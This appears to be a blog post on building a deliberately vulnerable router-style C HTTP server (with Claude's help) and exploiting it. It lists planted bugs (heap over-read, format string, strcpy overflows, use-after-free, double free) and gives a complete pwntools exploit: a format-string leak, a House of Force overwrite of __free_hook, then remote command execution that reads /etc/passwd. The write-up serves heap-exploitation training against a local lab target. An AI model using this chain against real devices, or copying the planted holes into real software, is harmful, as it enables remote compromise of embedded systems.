Introduction Link to heading
Most heap exploitation tutorials focus on isolated CTF challenges or a single binary with one bug and a clear path to the flag. Real embedded firmware is different. Vulnerabilities are spread across multiple handlers, exploitation requires chaining several bugs together, and you’re working against an allocator with its own quirks and version-specific behaviors.
To bridge that gap, I built a practice target from scratch using Claude: a deliberately vulnerable HTTP server modeled after the kind of httpd daemons found in consumer routers. This post walks through the target design, the vulnerabilities I embedded in it, and the full exploit chain I developed: from information leak to remote code execution using the House of Force technique against glibc 2.23.
I decided to build this target because I lack the knowledge of heap exploitation in embedded devices. House of Force is one of the simplest techniques to start with and it works on some embedded devices after all years.
The Target: mini_httpd Link to heading
The server is a single-threaded C HTTP daemon with keep-alive support, designed to simulate a router web interface. It handles authentication, configuration, firmware updates, and diagnostics, all common attack surface in real IoT devices.
The key design decisions that make it realistic:
- Single-threaded with persistent connections: multi-step exploits can chain multiple requests over one TCP session, just like attacking a real embedded httpd
- Network input everywhere: all data comes from HTTP headers and request bodies, not stdin
- Multiple vulnerability classes: no single bug gives you RCE; you have to chain them
- Deployed on glibc 2.23: the pre-tcache era where House of Force, fastbin dup, and unsorted bin attacks all work without modern hardening
I compiled it with protections disabled to match a typical embedded firmware build:
gcc -Wall -g -O0 \
-fno-stack-protector \
-no-pie \
-Wl,-z,norelro \
-Wl,-z,execstack \
-D_FORTIFY_SOURCE=0 \
-o mini_httpd mini_httpd.c
Running inside an Ubuntu 16.04 Docker container with ASLR disabled gives a deterministic environment identical to what you’d find on many embedded devices.
Vulnerability Inventory Link to heading
The server contains six vulnerabilities across four bug classes. In a real engagement, you’d find these through source audit or binary reverse engineering. Here I’ll document each one and then focus on the chain I used for the exploit.
Information Leaks Link to heading
Heap over-read (Heartbleed-style) — The /api/log endpoint allocates a 128-byte buffer for log text, then allocates a log_cursor_t struct containing a function pointer and a heap pointer immediately after it. The client controls the response size via the X-Log-Size header. When the requested size exceeds 128, the write() call reads past the buffer into the adjacent struct, leaking code and heap addresses.
char *logbuf = malloc(LOG_BUF_SZ); /* 128 bytes */
log_cursor_t *cur = malloc(sizeof(*cur)); /* right after logbuf on heap */
cur->emit = log_admin; /* function pointer */
cur->buf_ref = logbuf; /* heap pointer */
/* ... fill logbuf with text ... */
write(fd, logbuf, resp_sz); /* BUG: resp_sz can be > 128 */
Format string — The diagnostic ECHO command passes user input directly as snprintf’s format string. Sending %p specifiers dumps stack values, including return addresses from libc.
} else if (strncmp(req->body, "ECHO ", 5) == 0) {
snprintf(result, 256, req->body + 5); /* BUG: format string */
}
Heap Corruption Bugs Link to heading
Top chunk overflow (House of Force primitive) — The /api/info handler copies the X-Device-Id header into a malloc(32) buffer using strcpy with no bounds check. When this buffer is the last allocation before the top chunk, the overflow corrupts the top chunk’s size field.
g_device_id = malloc(DEV_ID_SZ); /* 32 bytes */
strcpy(g_device_id, dev); /* BUG: no length check */
Use-after-free — Session logout frees the session_t struct but doesn’t NULL the global table pointer. The struct contains a log_action function pointer that gets called on subsequent status checks.
Heap overflow in config parsing — Parameter values are allocated as malloc(64) but copied with strcpy, allowing overflow into adjacent chunks.
Double free — The diagnostic error path frees req->body, and cleanup_request frees it again.
The Exploit Chain Link to heading
The full chain uses four requests on a single keep-alive connection:
Request 1: Format string → leak libc and heap addresses
Request 2: Header overflow → corrupt top chunk (House of Force setup)
Request 3: Firmware upload → House of Force → overwrite __free_hook
Request 4: Diagnostic → trigger free(body) → system(command)
Step 1: Information Leak via Format String Link to heading
I used the ECHO format string vulnerability to leak two critical values: a heap address (to locate the top chunk) and a libc address (to compute system() and __free_hook locations).
body = b"ECHO %7$p|%2399$p"
send_raw(r, "POST", "/api/diag", {}, body=body)
Position %7$p contains a heap pointer, and position %2399$p contains the return address of __libc_start_main+240 that is located deep in the stack because the request_t struct with its headers array consumes thousands of bytes of stack space.
I found __libc_start_main+240 using pwndbg’s telescope tool.
From the leaked __libc_start_main+240 address, I computed the libc base by subtracting the known offset:
libc_base_offset = 0x20750
libc_base = libc_start_main - libc_base_offset - 240
libc_system_offset = 0x453a0
system = libc_base + libc_system_offset
free_hook_offset = 0x3c67a8
free_hook = libc_base + free_hook_offset
top_chunk = heap_leak + 32
A key lesson: stack addresses are unreliable between environments (GDB shifts them), but libc offsets from a libc return address are stable. I initially used a stack pointer and spent time debugging why offsets were wrong outside GDB.
Step 2: Top Chunk Corruption Link to heading
The House of Force technique requires overwriting the top chunk’s size field with 0xffffffffffffffff (-1 as unsigned), making glibc believe the heap spans the entire address space.
payload = b"A" * 32 + b"B" * 8 + p64(0xffffffffffffffff)
send_raw(r, "GET", "/api/info", {b"X-Device-Id": payload})
Two critical details I learned the hard way:
Null byte problem. My first attempt used p64(0) for the prev_size field. Since strcpy stops at \x00, only the 32 As were copied and the \xff bytes never reached the top chunk. The fix: fill prev_size with any non-null value so that the top chunk’s prev_size is never validated by glibc in this context.
String encoding trap. Passing binary payloads through Python f-strings silently converts b"\xff" to the string literal "\\xff" (four ASCII characters). The entire HTTP request must be constructed as raw bytes from start to finish so there is no string interpolation anywhere in the path.
0x604030 is successfully overwritten so that Top Chunk size field is 0xffffffffffffffffStep 3: House of Force — Overwriting __free_hook Link to heading
With the top chunk size corrupted, any malloc(N) succeeds regardless of N. The evil size is calculated to advance glibc’s internal top chunk pointer from the heap to __free_hook in libc’s data segment:
def house_of_force(top_addr, target_addr):
"""Calculate evil malloc size for House of Force."""
# We want the NEXT malloc to return target_addr
# new_top = target_addr - 0x10 (chunk header of target alloc)
# nb = new_top - top_addr
# evil_size = nb - 0x18 (request2size overhead)
evil_size = target_addr - top_addr - 0x28
evil_size &= 0xffffffffffffffff # ensure 64-bit unsigned
return evil_size
# snip
evil_size = house_of_force(top_chunk, free_hook) - 16 - 4 - 8 - 8 # <- manual adjusting
print("Evil size: " + hex(evil_size))
# POST /api/firmware
got_padding = b"B" * 0x28
print("[+] Overwrite GOT")
send_raw(r, "POST", "/api/firmware", {b"X-Firmware-Size": str(evil_size), b"X-Firmware-Desc": got_padding + p64(system)}, body=b"FWUPxxxx")
# snip
The & 0xffffffffffffffff is essential since Python integers don’t wrap like C’s size_t, so we force 64-bit unsigned behavior.
When malloc(evil_size) runs inside the firmware handler, glibc carves evil_size bytes from the corrupted top chunk and advances the top pointer to right before __free_hook. The next malloc(64) returns a pointer near __free_hook, and strcpy writes system’s address there.
Why __free_hook Instead of free@GOT Link to heading
My first target was free@GOT. It crashed immediately during the House of Force allocation when glibc writes chunk metadata (prev_size and size fields) into the 16 bytes before the returned pointer. Those bytes happened to be other GOT entries (memcpy@GOT, strtok_r@GOT), and the very next function call through those corrupted entries jumped to an invalid address.
__free_hook doesn’t have this problem. Its neighbors are internal libc variables (__after_morecore_hook, padding) that aren’t called between the write and the trigger.
The Alignment Problem Link to heading
malloc always returns 16-byte aligned addresses. __free_hook on this libc is at 0x...7a8, which ends in 0x8 — malloc can never return this exact address. It returns 0x...780 instead, which is 0x28 bytes earlier. The solution: pad the payload with 0x28 junk bytes so system’s address lands exactly at __free_hook.
Intervening Allocations Link to heading
Another pitfall: parse_request runs BEFORE the handler and allocates req->body on the heap. This shifts the top chunk by 0x20 bytes (minimum glibc chunk size on 64-bit). If you calculate evil_size from the leaked top chunk address without accounting for this, the final pointer lands at the wrong location.
Request parsing: malloc(content_length+1) → top moves by 0x20
Handler runs: malloc(evil_size) → top should now reach target
Step 4: Triggering Code Execution Link to heading
With __free_hook pointing to system(), every free(ptr) call becomes system(ptr).
__free_hook points to system().The final request sends a command as the POST body to the diagnostic endpoint:
send_raw(r, "POST", "/api/diag", {}, body=b"cat /etc/passwd")
The body doesn’t match any recognized command (PING, UPTIME, ECHO), so the error path runs free(req->body). Since req->body points to our string, this executes system("cat /etc/passwd").
The calling convention makes this work seamlessly: free(ptr) passes ptr in RDI (x86-64), and system() reads its argument from RDI. The argument transfer is automatic — no gadgets or stack pivoting needed.
cat /etc/passwd.Exploit code Link to heading
from pwn import *
PORT = 8181
r = remote('localhost', PORT)
def send_raw(r, method, path, headers=None, body=None):
req = method.encode() + b" " + path.encode() + b" HTTP/1.1\r\n"
if headers is None:
headers = {}
if body:
headers[b"Content-Length"] = str(len(body)).encode()
for k, v in headers.items():
if isinstance(k, str): k = k.encode()
if isinstance(v, str): v = v.encode()
if isinstance(v, int): v = str(v).encode()
req += k + b": " + v + b"\r\n"
req += b"\r\n"
if body:
req += body
r.send(req)
# Read response headers until the blank line
resp_hdrs = r.recvuntil(b"\r\n\r\n")
# Parse Content-Length to know how much body to read
cl = 0
for line in resp_hdrs.split(b"\r\n"):
if line.lower().startswith(b"content-length:"):
cl = int(line.split(b":")[1].strip())
# Read exactly that many body bytes
resp_body = r.recvn(cl) if cl > 0 else b""
return (resp_hdrs, resp_body)
def house_of_force(top_addr, target_addr):
"""Calculate evil malloc size for House of Force."""
# We want the NEXT malloc to return target_addr
# new_top = target_addr - 0x10 (chunk header of target alloc)
# nb = new_top - top_addr
# evil_size = nb - 0x18 (request2size overhead)
evil_size = target_addr - top_addr - 0x28
evil_size &= 0xffffffffffffffff # ensure 64-bit unsigned
return evil_size
# Step 1: Leak
print("[+] Leaking addresses")
resp = send_raw(r, "POST", "/api/diag", body=b"ECHO %7$p %2403$p")[1]
libc_start_main = int(str(resp).split(" ")[1].split("'")[0], 0)
heap_leak = int(str(resp).split(" ")[0].split("'")[1], 0)
libc_base_offset = 0x20750
libc_base = libc_start_main - libc_base_offset - 240
libc_system_offset = 0x453a0
system = libc_base + libc_system_offset
free_hook_offset = 0x3c67a8
free_hook = libc_base + free_hook_offset
top_chunk = heap_leak + 32
print("Libc base: " + hex(libc_base))
print("System: " + hex(system))
print("Top Chunk: " + hex(top_chunk))
print("Free_hook: " + hex(free_hook))
# GET /api/info
print("[+] Overwrite Top Chunk")
padding = b'A' * 32
prev_size = b'B' * 8
top_chunk_size = p64(0xffffffffffffffff)
payload_1 = padding + prev_size + top_chunk_size
send_raw(r, "GET", "/api/info", {"X-Device-Id": payload_1})
evil_size = house_of_force(top_chunk, free_hook) - 16 - 4 - 8 - 8
print("Evil size: " + hex(evil_size))
# POST /api/firmware
hook_padding = b"B" * 0x28
print("[+] Overwrite __free_hook")
send_raw(r, "POST", "/api/firmware", {b"X-Firmware-Size": str(evil_size), b"X-Firmware-Desc": hook_padding + p64(system)}, body=b"FWUPxxxx")
# Trigger
print("[+] Trigger RCE using free hook")
cmd = b"cat /etc/passwd"
send_raw(r, "POST", "/api/diag", body=cmd)
Lessons Learned Link to heading
Build your own targets. Generic CTF challenges teach individual techniques in isolation. Building a realistic server forced me to understand how bugs interact — how an info leak enables a heap attack, how allocation ordering affects exploit reliability, how error handling paths create unexpected free/malloc sequences.
The exploit is mostly debugging. The actual House of Force arithmetic is a few lines. Most of the development time went into HTTP response parsing, byte encoding issues, and understanding the heap layout between my leak and my controlled allocation.
Debug from crash output. glibc’s error messages include the failing pointer address. Combined with /proc/PID/maps and readelf -s libc.so, you can compute offsets and debug alignment issues without GDB. This matters when the target is a real device where you can’t attach a debugger.
Bytes are bytes, strings are trouble. Any time binary data passes through a Python string operation f-strings, .encode(), str() — it gets mangled. Build exploit payloads as raw b"..." bytes from the start and concatenate with +. Never let binary data touch a string type.
Account for every allocation. Between your corruption and your controlled malloc, every intervening allocation shifts the heap. In a 700-line server this is tractable. In real firmware with logging, string processing, and internal bookkeeping, GDB scripting to trace malloc/free calls becomes essential.
What’s Next Link to heading
The server contains three more exploitable bugs I haven’t chained yet: the use-after-free with a function pointer, the double free in the diagnostic error path, and the heap overflow in config parameter parsing. Each requires a different exploitation technique like fastbin dup, unsorted bin attack, or chunk overlap. These are natural next exercises against the same target.
Beyond this training environment, the same techniques apply to real firmware. The allocators differ (uClibc’s malloc is simpler than glibc’s, often lacking even basic consistency checks), the architectures differ (MIPS, ARM), and ASLR/PIE may or may not be present. But the fundamental workflow, leak addresses, corrupt allocator metadata and redirect control flow transfers directly.